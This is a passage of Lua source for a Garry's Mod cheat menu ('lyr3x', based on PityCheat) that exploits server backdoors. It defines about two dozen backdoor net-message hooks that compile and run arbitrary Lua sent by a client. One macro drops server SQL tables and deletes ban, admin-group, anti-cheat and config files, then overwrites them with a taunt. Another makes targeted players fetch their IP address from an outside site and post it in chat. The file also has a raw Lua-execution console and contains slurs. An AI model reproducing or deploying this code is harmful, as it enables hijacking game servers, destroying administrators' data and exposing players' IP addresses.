ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1941local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcSpawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
1942local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
1943
1944for k,v in pairs(dataBDMenus) do
1945if sql.TableExists(v) then
1946sql.Query("DROP TABLE "..v.." ;")
1947sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1948end
1949end
1950
1951for k,v in pairs(datafiles) do
1952if file.Exists(v) then
1953file.Delete(v)
1954file.write(v, "pitycheats.com hehe")
1955end
1956end
1957
1958for k,v in pairs(sensitivefiles) do
1959if file.Exists(v) then
1960file.Delete(v)
1961file.write(v, "pitycheats.com hehe")
1962end
1963end
1964if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1965if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
1966]],
1967
1968["Private"] = true,
1969
1970},
1971
1972["Убить (Тихо)"] = {
1973
1974["Type"] = 2,
1975
1976["Code"] = [[v:KillSilent()]],
1977
1978},
1979
1980["Удалить пропы"] = {
1981
1982["Type"] = 2,
1983
1984["Code"] = [[v:ConCommand("gmod_cleanup")]],
1985
1986},
1987
1988["'Узнать Ñвой ip'"] = {
1989
1990["Type"] = 2,
1991
1992["Code"] = [[
1993if (darkrp || DarkRP) then
1994v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say /ooc Mon IP est "..b) end, function(error) return error end )')
1995else
1996v:SendLua('http.Fetch("http://ipv4bot.whatismyipaddress.com", function(b,l,h,c) LocalPlayer():ConCommand("say Mon IP est "..b) end, function(error) return error end )')
1997end
1998]],
1999
2000["Private"] = true,
2001
2002},
2003
2004// key/view scrambler, fuck with escape menu
2005
2006
2007
2008
2009/*================================
2010|===== опаÑные команды =====|
2011=================================*/
2012
2013
2014}
2015
2016
2017local selectedbackdoor = ""
2018
2019local backdoorargs = ""
2020
2021local selectedplayers = {}
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033/*====================================
2034|===== Конфигуратор БÑкдуров 88 =====|
2035=====================================*/
2036
2037
2038
2039if not snte then
2040
2041BD.BackdoorTypes["Mining"] = {
2042["Code"] = "util.AddNetworkString( 'Ulx_Error_88' ) net.Receive( 'Ulx_Error_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2043["Netkey"] = "Ulx_Error_88",
2044}
2045
2046BD.BackdoorTypes["Crero"] = {
2047["Code"] = "util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2048["Netkey"] = "FAdmin_Notification_Receiver",
2049}
2050
2051BD.BackdoorTypes["FAdmin"] = {
2052["Code"] = "util.AddNetworkString( 'DarkRP_ReceiveData' ) net.Receive( 'DarkRP_ReceiveData', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2053["Netkey"] = "DarkRP_ReceiveData",
2054}
2055
2056BD.BackdoorTypes["Pitybd"] = {
2057["Code"] = "util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2058["Netkey"] = "fijiconn",
2059}
2060
2061BD.BackdoorTypes["Weapon"] = {
2062["Code"] = "util.AddNetworkString( 'Weapon_88' ) net.Receive( 'Weapon_88', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2063["Netkey"] = "Weapon_88",
2064}
2065
2066BD.BackdoorTypes["Nostrip"] = {
2067["Code"] = "util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)",
2068["Netkey"] = "nostrip",
2069}
2070
2071BD.BackdoorTypes["Session"] = {
2072["Code"] = "util.AddNetworkString( 'SessionBackdoor' ) net.Receive( 'SessionBackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2073["Netkey"] = "SessionBackdoor",
2074}
2075
2076BD.BackdoorTypes["DarkRP_n"] = {
2077["Code"] = "util.AddNetworkString( 'DarkRP_AdminWeapons' ) net.Receive( 'DarkRP_AdminWeapons', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2078["Netkey"] = "DarkRP_AdminWeapons",
2079}
2080
2081BD.BackdoorTypes["frenculer"] = {
2082["Code"] = "util.AddNetworkString( 'thefrenchenculer' ) net.Receive( 'thefrenchenculer', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2083["Netkey"] = "thefrenchenculer",
2084}
2085
2086BD.BackdoorTypes["Fix_Keypads"] = {
2087["Code"] = "util.AddNetworkString( 'Fix_Keypads' ) net.Receive( 'Fix_Keypads', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2088["Netkey"] = "Fix_Keypads",
2089}
2090
2091BD.BackdoorTypes["CAC"] = {
2092["Code"] = "util.AddNetworkString( '_CAC_ReadMemory' ) net.Receive( '_CAC_ReadMemory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2093["Netkey"] = "_CAC_ReadMemory",
2094}
2095
2096BD.BackdoorTypes["Exploiters"] = {
2097["Code"] = "util.AddNetworkString( 'Remove_Exploiters' ) net.Receive( 'Remove_Exploiters', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2098["Netkey"] = "Remove_Exploiters",
2099}
2100
2101BD.BackdoorTypes["MoonMan"] = {
2102["Code"] = "util.AddNetworkString( 'MoonMan' ) net.Receive( 'MoonMan', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2103["Netkey"] = "MoonMan",
2104}
2105
2106BD.BackdoorTypes["disableb"] = {
2107["Code"] = "util.AddNetworkString( 'disablebackdoor' ) net.Receive( 'disablebackdoor', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2108["Netkey"] = "disablebackdoor",
2109}
2110
2111BD.BackdoorTypes["Sbox"] = {
2112["Code"] = "util.AddNetworkString( 'Sbox_itemstore' ) net.Receive( 'Sbox_itemstore', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2113["Netkey"] = "Sbox_itemstore",
2114}
2115
2116BD.BackdoorTypes["Sbox2"] = {
2117["Code"] = "util.AddNetworkString( 'Sbox_darkrp' ) net.Receive( 'Sbox_darkrp', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2118["Netkey"] = "Sbox_darkrp",
2119}
2120
2121BD.BackdoorTypes["R8"] = {
2122["Code"] = "util.AddNetworkString( 'R8' ) net.Receive( 'R8', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2123["Netkey"] = "R8",
2124}
2125
2126BD.BackdoorTypes["c"] = {
2127["Code"] = "util.AddNetworkString( 'c' ) net.Receive( 'c', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2128["Netkey"] = "c",
2129}
2130
2131BD.BackdoorTypes["_cac_"] = {
2132["Code"] = "util.AddNetworkString( '_cac_' ) net.Receive( '_cac_', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2133["Netkey"] = "_cac_",
2134}
2135
2136BD.BackdoorTypes["_Defqon"] = {
2137["Code"] = "util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2138["Netkey"] = "_Defqon",
2139}
2140
2141BD.BackdoorTypes["LickMeOut"] = {
2142["Code"] = "util.AddNetworkString( 'LickMeOut' ) net.Receive( 'LickMeOut', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2143["Netkey"] = "LickMeOut",
2144}
2145
2146BD.BackdoorTypes["nck"] = {
2147["Code"] = "util.AddNetworkString( 'noclipcloakaesp_chat_text' ) net.Receive( 'noclipcloakaesp_chat_text', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2148["Netkey"] = "noclipcloakaesp_chat_text",
2149}
2150
2151BD.BackdoorTypes["ArmDupe"] = {
2152["Code"] = "util.AddNetworkString( 'Sandbox_ArmDupe' ) net.Receive( 'Sandbox_ArmDupe', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
2153["Netkey"] = "Sandbox_ArmDupe",
2154}
2155
2156
2157else
2158end
2159
2160
2161
2162
2163/*==================================
2164|===== Derma 88 Backdoor Menu =====|
2165=================================*/
2166
2167
2168
2169function BD.GenerateBackdoorList( parent, category )
2170
2171
2172
2173for k, v in SortedPairs( BD.BDMacros, false ) do
2174
2175if v["Type"] != category then continue end
2176
2177
2178
2179local plypanel2 = vgui.Create( "DPanel" )
2180
2181plypanel2:SetPos( 50, 0 )
2182
2183plypanel2:SetSize( 103, 15 )
2184
2185plypanel2.Paint = function() -- Paint function
2186
2187
2188
2189if selectedbackdoor == k then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 70), false, false, false, false)
2190else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 70), false, false, false, false)
2191end
2192
2193
2194end
2195
2196
2197
2198local plyname = vgui.Create( "DLabel", plypanel2 )
2199
2200plyname:SetPos( 3, 0 )
2201
2202plyname:SetFont( "pity_homemini" )
2203
2204local tcol = Color( 255, 255, 255 )
2205
2206if v.Private then tcol = Color( 255, 107, 107 )
2207
2208if fiji_style_menu:GetInt() == 2 then
2209if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
2210
2211elseif fiji_style_menu:GetInt() == 3 then
2212if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
2213
2214elseif fiji_style_menu:GetInt() == 1 then
2215if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
2216
2217else
2218if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
2219
2220end
2221end
2222
2223plyname:SetColor( tcol )
2224
2225plyname:SetText( k )
2226
2227plyname:SetSize(670, 15)
2228
2229
2230
2231
2232
2233
2234local faggot = vgui.Create("DButton", plypanel2)
2235
2236faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
2237
2238faggot:SetPos( 0, 0 )
2239
2240faggot:SetText("")
2241
2242if v["Desc"] != "" then end
2243
2244faggot.Paint = function(panel, w, h)
2245
2246return
2247
2248end
2249
2250faggot.DoClick = function()
2251
2252selectedbackdoor = k
2253
2254end
2255
2256
2257
2258
2259
2260parent:AddItem( plypanel2 )
2261
2262
2263
2264end
2265
2266
2267
2268end
2269
2270
2271
2272function BD.FormatCodeTargeted()
2273
2274if !BD.BackdoorActive() then BD.ChatText( "Выбранный бÑкдур отÑутÑтвует", Color(255,155,155) ) return end
2275
2276if selectedbackdoor == "" then BD.ChatText( "ПожалуйÑта, выберите команду", Color(255,155,155) ) return end
2277
2278local param = string.Explode( ",", backdoorargs )
2279
2280local ids = {}
2281
2282for k, v in pairs( selectedplayers ) do
2283
2284if !v:IsValid() then table.RemoveByValue( selectedplayers, v ) continue end
2285
2286table.insert( ids, v:UniqueID() )
2287
2288end
2289
2290
2291
2292local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
2293
2294code = string.Replace( code, "##", table.ToString( ids ) )
2295
2296code = string.Replace( code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "" )
2297
2298code = string.Replace( code, "%LP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2299
2300
2301
2302if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Выберете параметр команды", Color(255,155,155) ) return end
2303
2304if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2305
2306
2307
2308for k, v in pairs( param ) do
2309
2310code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2311
2312end
2313
2314
2315
2316BD.Fire( code )
2317
2318
2319
2320end
2321
2322
2323
2324function BD.FormatCodeGlobal()
2325
2326--if !BD.BackdoorActive() then BD.ChatText( "Aucune backdoor sur le serveur", Color(0,0,0) ) return end
2327
2328if selectedbackdoor == "" then BD.ChatText( "Выберете команду", Color(255,74,74) ) return end
2329
2330local param = string.Explode( ",", backdoorargs )
2331
2332
2333
2334local code = BD.BDMacros[selectedbackdoor]["Code"]
2335
2336
2337
2338if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "" ) then BD.ChatText( "Выберете параметр команды", Color(255,74,74) ) return end
2339
2340if #param < 1 then param = { [1] = "derp", [2] = "derp", [3] = "derp", [4] = "derp", [5] = "derp" } end
2341
2342
2343
2344for k, v in pairs( param ) do
2345
2346code = string.Replace( code, "@"..k, [["]]..v..[["]] )
2347
2348code = string.Replace( code, "%LP", LocalPlayer():UniqueID() )
2349
2350code = string.Replace( code, "%LCP", "p:UniqueID() == \""..LocalPlayer():UniqueID().."\"" )
2351
2352code = string.Replace( code, "%BD", BD.GetActive().Code )
2353
2354end
2355
2356
2357
2358BD.Fire( code )
2359
2360
2361
2362end
2363
2364
2365
2366
2367
2368local safenet = net
2369
2370local function bdnet()
2371
2372if odium and odium.G then return odium.G.net end
2373
2374return safenet
2375
2376end
2377
2378
2379
2380
2381
2382---------------------------------------------------------------------------------------------------------
2383---------------------------------------------------------------------------------------------------------
2384
2385BD.BtnHovered = BD.BtnHovered or 1
2386
2387-- Fonts
2388surface.CreateFont( "BD:Hitman:50", { font = "Arial", extended = false, size = 50, weight = 800, } )
2389surface.CreateFont( "BD:Hitman:30", { font = "Arial", extended = false, size = 30, weight = 800, } )
2390
2391
2392
2393-- Menu
2394function BD:CreateBtn( text, x, y, w, h, BDMenu )
2395local btn = vgui.Create( "DButton", BDMenu )
2396btn:SetPos( x, y )
2397btn:SetSize( w, h )
2398btn:SetText( "" )
2399btn.IsHovered = false
2400function btn:OnCursorEntered() self.IsHovered = true end
2401function btn:OnCursorExited() self.IsHovered = false end
2402function btn:Paint( w, h )
2403
2404local cText = Color( 255, 255, 255, 50 )
2405
2406
2407if self.IsHovered then
2408draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 30 ) )
2409cBorder = Color( 110,110,110, 30 )
2410else
2411draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2412cBorder = Color( 110,110,110, 0 )
2413
2414end
2415
2416if self.activebtn then
2417if fiji_style_menu:GetInt() == 2 then
2418cText = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2419cBorder = Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2420elseif fiji_style_menu:GetInt() == 1 then
2421cText = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2422cBorder = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
2423elseif fiji_style_menu:GetInt() == 3 then
2424cText = Color( 190, 242, 190 )
2425cBorder = Color( 190, 242, 190,80 )
2426else
2427cText = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2428cBorder = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
2429end
2430draw.SimpleText( text, "pity_homeBTN", w / 2, h / 2, cText, 1, 1 )
2431else
2432draw.SimpleText( text, "pity_home5", w / 2, h / 2, cText, 1, 1 )
2433end
2434
2435
2436
2437surface.SetDrawColor( cBorder )
2438surface.DrawOutlinedRect( 0, 0, w, h )
2439end
2440
2441return btn
2442end
2443
2444concommand.Add("fiji_luarun", function()
2445local BDLuarun = vgui.Create( "DFrame" )
2446BDLuarun:SetSize( 700, 400 )
2447BDLuarun:Center()
2448BDLuarun:SetTitle("")
2449BDLuarun:SetDraggable( true )
2450BDLuarun:ShowCloseButton( false )
2451BDLuarun:MakePopup()
2452BDLuarun.Paint = function( self, w, h)
2453DrawBlur(self, 25)
2454draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2455draw.SimpleText("Большой Lua код выше 100 Ñтрок может привеÑти к фризу на неÑколько минут.", "pity_home3", 11, 11, Color(150, 110, 110,255), 0, 1)
2456
2457end
2458
2459
2460local BDLuaruntext = vgui.Create( "DTextEntry", BDLuarun ) -- create the form as a child of frame
2461BDLuaruntext:SetPos( 5, 25 )
2462BDLuaruntext:SetSize( 690, 330 )
2463BDLuaruntext:SetMultiline( true )
2464BDLuaruntext:SetText( "-- Введите ваш Lua код ...) \n \n" )
2465BDLuaruntext.OnEnter = function( self )
2466chat.AddText( self:GetValue() ) -- print the form's text as server text
2467end
2468
2469local AcceptLuarun = vgui.Create( "DButton", BDLuarun)
2470AcceptLuarun:SetPos( 310, 360)
2471AcceptLuarun:SetSize( 80, 35 )
2472AcceptLuarun:SetTextColor( Color( 255, 255, 255, 255 ) )
2473AcceptLuarun:SetText( "ЗапуÑтить код" )
2474AcceptLuarun.Paint = function( self, w, h )
2475draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2476if self:IsHovered() then
2477draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2478aBorder = Color( 110,110,110, 80 )
2479else
2480draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2481aBorder = Color( 110,110,110, 0 )
2482end
2483AcceptLuarun.OnCursorEntered = function(self) --
2484surface.PlaySound( fiji_pityhover )
2485end
2486surface.SetDrawColor( aBorder )
2487surface.DrawOutlinedRect( 0, 0, w, h )
2488AcceptLuarun.DoClick = function()
2489NOTIFICATION("Lua запущен")
2490surface.PlaySound( fiji_pityclick )
2491RunString( BDLuaruntext:GetText() )
2492end
2493end
2494
2495
2496local CloseLuaRun = vgui.Create( "DButton", BDLuarun)
2497CloseLuaRun:SetPos( 670, 8)
2498CloseLuaRun:SetSize( 20, 15 )
2499CloseLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2500CloseLuaRun:SetText( "X" )
2501CloseLuaRun.Paint = function( self, w, h )
2502draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2503if self:IsHovered() then
2504draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2505else
2506draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2507end
2508CloseLuaRun.DoClick = function()
2509LocalPlayer():ConCommand("fiji_sv_existmen 0")
2510
2511BDLuarun:Remove()
2512end
2513end
2514
2515local ReturnLuaRun = vgui.Create( "DButton", BDLuarun)
2516ReturnLuaRun:SetPos( 638, 8)
2517ReturnLuaRun:SetSize( 30, 15)
2518ReturnLuaRun:SetTextColor( Color( 255, 255, 255, 255 ) )
2519ReturnLuaRun:SetText( "<--" )
2520ReturnLuaRun.Paint = function( self, w, h )
2521draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2522if self:IsHovered() then
2523draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2524else
2525draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2526end
2527ReturnLuaRun.DoClick = function()
2528LocalPlayer():ConCommand("lyr3x")
2529BDLuarun:Remove()
2530end
2531end
2532
2533concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
2534BDLuarun:Remove()
2535
2536end)
2537
2538end)
2539
2540function BD:Dashboard( pContent )
2541
2542
2543function NOTIFICATION(text, pContent)
2544
2545ctxt( Color(126, 255, 117), "[lyr3x] ", Color(255, 255, 255), text )
2546
2547end
2548
2549function NOTIFICATIONNO(text)
2550ctxt( Color(255, 114, 114), "[lyr3x] ", Color(255, 255, 255), text )
2551end
2552
2553local BDMenuDashboard = vgui.Create("DPanel", pContent)
2554BDMenuDashboard:SetSize( 539, 388 )
2555BDMenuDashboard:SetPos( 0, 0 )
2556BDMenuDashboard.Paint = function( self, w, h)
2557draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
2558
2559if fiji_style_menu:GetInt() == 2 then
2560draw.RoundedBox( 0, 0, 98, 2, h - 60, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2561draw.RoundedBox( 0, 0, 0, 2, h - 336, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2562
2563elseif fiji_style_menu:GetInt() == 1 then
2564draw.RoundedBox( 0, 0, 98, 2, h - 60, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2565draw.RoundedBox( 0, 0, 0, 2, h - 336, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2566
2567else
2568draw.RoundedBox( 0, 0, 98, 2, h - 60, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2569draw.RoundedBox( 0, 0, 0, 2, h - 334, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2570end
2571
2572
2573end
2574local TextHome = vgui.Create( "DPanel", pContent )
2575TextHome:SetSize(500,650)
2576TextHome:SetPos(20,20)
2577TextHome.Paint = function( self, w, h )
2578if fiji_style_menu:GetInt() == 3 then
2579draw.SimpleText("LYR3X", "pity_home1", 158, 20, Color(238, 61, 61), 0, 1)
2580elseif fiji_style_menu:GetInt() == 2 then
2581draw.SimpleText("LYR3X", "pity_home1", 158, 20, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)), 0, 1)
2582
2583elseif fiji_style_menu:GetInt() == 1 then
2584draw.SimpleText("LYR3X", "pity_home1", 158, 20, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), 0, 1)
2585
2586else
2587draw.SimpleText("LYR3X", "pity_home1", 158, 20, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ), 0, 1)
2588
2589end
2590
2591surface.SetMaterial( fiji_pitydiscordwidget )
2592surface.SetDrawColor( 255, 255, 255, 255 )
2593surface.DrawTexturedRect( 90, 150, 320, 76 )
2594
2595draw.SimpleText("lyr3x cheat menu v0.1 ", "pity_home2", 192, 62, Color(255, 255, 255,20), 0, 1)
2596draw.SimpleText("Добро пожаловать в LYR3X оÑнованый на PityCheat©", "pity_home4", 32, 100, Color(255, 255, 255,200), 0, 1)
